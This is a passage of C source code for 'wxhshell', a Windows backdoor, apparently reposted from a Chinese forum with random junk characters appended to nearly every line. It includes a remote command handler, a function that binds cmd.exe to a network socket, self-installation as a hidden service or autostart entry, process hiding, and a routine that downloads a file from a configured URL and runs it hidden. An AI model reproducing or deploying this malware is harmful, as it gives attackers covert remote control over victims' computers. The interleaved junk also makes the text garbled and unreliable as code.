  // 帮助 @&Nvb.5nT  
  case '?': { KV5lpN PC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4*+EUJ|  
    break; 7@lXN8_f  
  } j&Hn`G  
  // 安装 *(vq-IE\$  
  case 'i': { (j~V  
    if(Install()) 4iLU "~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mb>6.l  
    else R$fna[Xw@/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m_(hCY=Q$  
    break; fjWh}w8  
    } 8zc!g|5"  
  // 卸载 r/4]b]n  
  case 'r': { |?| u-y  
    if(Uninstall()) s{k\1 P(G}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 20moX7L  
    else xF/DYXC{8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lXPn]iLJ  
    break; 4 P;O8KA5y  
    } b {I`$E<[  
  // 显示 wxhshell 所在路径 5{g9Wh[  
  case 'p': { JG<3,>@%  
    char svExeFile[MAX_PATH]; pMB=iS<E  
    strcpy(svExeFile,"\n\r"); 7P`1)juA9  
      strcat(svExeFile,ExeFile); V^{!d}  
        send(wsh,svExeFile,strlen(svExeFile),0); &!a 2%%1#N  
    break; lBn*G&(P  
    } iTt=aQjd  
  // 重启 >1~`tP  
  case 'b': { .]e6TFsrO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); btF%}<o)  
    if(Boot(REBOOT)) _B1uE2j9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J:lwq@u  
    else { w+37'vQ  
    closesocket(wsh); 9(l'xuX  
    ExitThread(0); =_dd4`G&<  
    } cP2R2 4th  
    break; &JlR70gdHi  
    } .zAafi0  
  // 关机 Qf|}%}% fp  
  case 'd': { "?{yVu~9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d8kwW!m+  
    if(Boot(SHUTDOWN)) e 1loI8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BP[U` !  
    else { .V3Dql@z"  
    closesocket(wsh); l1)pr{A  
    ExitThread(0); / 3k\kkv!  
    } 5lxq-E3  
    break; 9-Qtj49  
    } x!~OK::o8  
  // 获取shell %~5Q^3$O  
  case 's': { L%d?eHF  
    CmdShell(wsh); 12PE{Mut  
    closesocket(wsh); v,+l xY  
    ExitThread(0); h<K;VpL6  
    break; N ]7a=  
  } zsXH{atY  
  // 退出 'r n;|K  
  case 'x': { "|'`'W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tTFoS[V  
    CloseIt(wsh); 93Gur(j^  
    break; 3K!0 4\  
    } LQ@|M.$ A  
  // 离开 IJc#)J.2A  
  case 'q': { _~nex,;r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R{o*O_qX  
    closesocket(wsh); #@6L|$iX  
    WSACleanup(); c2\vG  
    exit(1); D:ugP ,  
    break; otVyuh  
        } _Af4ct;ng  
  } :3>yr5a7-  
  } L[G\+   
j& o+KV  
  // 提示信息 tN3 {7'\7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wmr%h q  
} b2=Q~=Wc  
  } aF{i A\  
')<FLCFwT  
  return; 56Y5kxmi  
} :J`!'{r  
C)96/k  
// shell模块句柄 i>Bi&azx  
int CmdShell(SOCKET sock) bus=LAJt=  
{ _ 1{5~  
STARTUPINFO si; 0bxvM  
ZeroMemory(&si,sizeof(si)); ,ok J eZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `O=;E`ep  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z#J/*712  
PROCESS_INFORMATION ProcessInfo; z{3%Hq  
char cmdline[]="cmd"; /Tf*d>Yh;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pt cLJ]+)  
  return 0; 8*#][ wC2  
} ]az} n(B,  
6>BDA?  
// 自身启动模式 kw^Dp[8X  
int StartFromService(void) @!a]qAt  
{ T7,Gf({  
typedef struct v~2XGm  
{ ;~:Ryl M  
  DWORD ExitStatus; q AVfbcb  
  DWORD PebBaseAddress; .(dmuV9  
  DWORD AffinityMask; /9+A97{  
  DWORD BasePriority; A Wh* <H  
  ULONG UniqueProcessId; lZA>L, \d  
  ULONG InheritedFromUniqueProcessId; a H|OA\<  
}   PROCESS_BASIC_INFORMATION; K@ sP~('  
_{`'{u  
PROCNTQSIP NtQueryInformationProcess; @ U8}sH^  
~:}XVt0%8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qv*uM0G6i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4fu\3A&  
x\bRj>%(  
  HANDLE             hProcess; "">fn(  
  PROCESS_BASIC_INFORMATION pbi; %cr]ZR  
PDq}Tq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8P<UO  
  if(NULL == hInst ) return 0; 9MtJo.A  
/IJ9_To  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~2A$R'xb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FSwgPIO>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C3 b0`|5  
E2h;hr;W  
  if (!NtQueryInformationProcess) return 0; Xq^y<[  
^z%o];  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }M9DqZ;I  
  if(!hProcess) return 0; Nzi/3r7m  
R3{*v =ov  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [mB(GL  
rxgVT4  
  CloseHandle(hProcess); tY$ty0y-e  
]k`Fl,"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4'{hI;&a&  
if(hProcess==NULL) return 0; /romTK4  
jRdhLs,M9  
HMODULE hMod; i9@;,4f  
char procName[255]; b?2X>QJ  
unsigned long cbNeeded; {c\oOM<7  
^0-e,d 9h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sPE)m_u  
w-'D*dOi  
  CloseHandle(hProcess); D=82$$  
'e<HPNi)  
if(strstr(procName,"services")) return 1; // 以服务启动 \+?,c\x  
S1az3VJI\  
  return 0; // 注册表启动 8MeO U  
} .i3lG( YG  
6h:?u4  
// 主模块 Ql: b1C,  
int StartWxhshell(LPSTR lpCmdLine) LA;V}%y ?  
{ ~^%0V<*-}  
  SOCKET wsl; K?FX<PT  
BOOL val=TRUE; [aWDD[#j~  
  int port=0; 5&-j{J0iV  
  struct sockaddr_in door; l)i &ATvCE  
Q/3tg  
  if(wscfg.ws_autoins) Install();  *_ {l  
!rsa4t@ t  
port=atoi(lpCmdLine); |?2 hml  
i!.I;@  
if(port<=0) port=wscfg.ws_port; (N*<\6kr  
BS-:dyBw  
  WSADATA data; ! =\DC,-CB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; re ]Ste  
_d\u!giy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C"U[ b%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rTP5-4  
  door.sin_family = AF_INET; HeT6Dv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /jjW/ lr  
  door.sin_port = htons(port); o%/-5-  
]{Mci]H6T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <uBhi4  
closesocket(wsl); #Cg}!38  
return 1; +#-kIaU  
} ^&`sWO@=  
Mz/]DJ8  
  if(listen(wsl,2) == INVALID_SOCKET) { [V> :`?  
closesocket(wsl); )p/=u@8_f  
return 1; 3WO#^}t  
} t?]\M&i&  
  Wxhshell(wsl); 55>" R{q  
  WSACleanup(); pBg|n=^  
b"R, p=M  
return 0; 5#TrCPi6A  
KdOh'OrT9.  
} D0Vyh"ua  
H9Y2n 0  
// 以NT服务方式启动 e(OwS?K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D4=..;  
{ Ism^hyL  
DWORD   status = 0; S+) l[0  
  DWORD   specificError = 0xfffffff; YM #  
Qq,i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6?1s`{yy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l)tTg+:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9*}iBs  
  serviceStatus.dwWin32ExitCode     = 0;  _DPB?)!x  
  serviceStatus.dwServiceSpecificExitCode = 0; e5qrQwU  
  serviceStatus.dwCheckPoint       = 0; i ll-%OPeg  
  serviceStatus.dwWaitHint       = 0; {h/OnBwG  
%XEKhy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0On? {Bw  
  if (hServiceStatusHandle==0) return; YVQ_tCC_!  
la G$v-r  
status = GetLastError();  YBYBOH  
  if (status!=NO_ERROR) *3A3>Rwu  
{ Vl5SL{+D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 54 M!Fq -  
    serviceStatus.dwCheckPoint       = 0; EX`"z(L  
    serviceStatus.dwWaitHint       = 0; 7=7!| UV  
    serviceStatus.dwWin32ExitCode     = status; j3*M!fM9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 55 S\&Ad$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T-L|Q,-{-  
    return; M!eoe5  
  } N3uMkH-<  
ioB|*D<U2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q[{:  
  serviceStatus.dwCheckPoint       = 0; d&}pgb-Md  
  serviceStatus.dwWaitHint       = 0; =y)p>3p}&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zi 2o  
} 1%$d D2  
&Q\_;  
// 处理NT服务事件,比如:启动、停止 ! (2-(LgA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9 9Ba{qj  
{ !MZ+-dpK  
switch(fdwControl) E S#rs="  
{ $x?NNS_ "J  
case SERVICE_CONTROL_STOP: ?8 SK\{9r6  
  serviceStatus.dwWin32ExitCode = 0; AuoxZ?V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1 L+=|*:  
  serviceStatus.dwCheckPoint   = 0; A)\>#Dv  
  serviceStatus.dwWaitHint     = 0; ;;ER"N  
  { "KMLk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jrIA]K6  
  } |ZS 57c:  
  return; 7%{R#$F  
case SERVICE_CONTROL_PAUSE: Hze-Ob8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G 6Wx3~  
  break; ( MB`hk-d  
case SERVICE_CONTROL_CONTINUE: M (+.$uz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `d75@0:  
  break; c5X`_  
case SERVICE_CONTROL_INTERROGATE: q:vz?G  
  break; 1*Sr5N[=  
}; . _1jk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g d z  
} (7IqY1W  
<A)+|Y"^h6  
// 标准应用程序主函数 Vo #:CB=8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jr9&.8%W:v  
{ Y8)}P WMs  
_Ny8j~  
// 获取操作系统版本 Uh>.v |P6  
OsIsNt=GetOsVer(); ,5/V@;i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sC% b~  
-@rxiC:Q  
  // 从命令行安装 ?Q@L-H`  
  if(strpbrk(lpCmdLine,"iI")) Install(); HV ;;  
D,MyI#  
  // 下载执行文件 Ej' 7h~=v  
if(wscfg.ws_downexe) { *Wzwbwg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h2"9"*S1  
  WinExec(wscfg.ws_filenam,SW_HIDE); -g:lOht  
} 'nMApPl  
A^pu  
if(!OsIsNt) { p?;-!TUv  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;_iPm?Y8  
HideProc(); -<_7\09  
StartWxhshell(lpCmdLine); ue@8voZhS/  
} WElrk:b  
else jRofG'  
  if(StartFromService()) R 4V \B  
  // 以服务方式启动 Hz E1r+3Q@  
  StartServiceCtrlDispatcher(DispatchTable); WNhbXyp_  
else H6_xwuw:  
  // 普通方式启动 [!G)$<  
  StartWxhshell(lpCmdLine); , 7Xqte  
*9J1$Wa  
return 0; hL0]R,t;'  
}
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只看该作者 1 发表于: 2006-10-10
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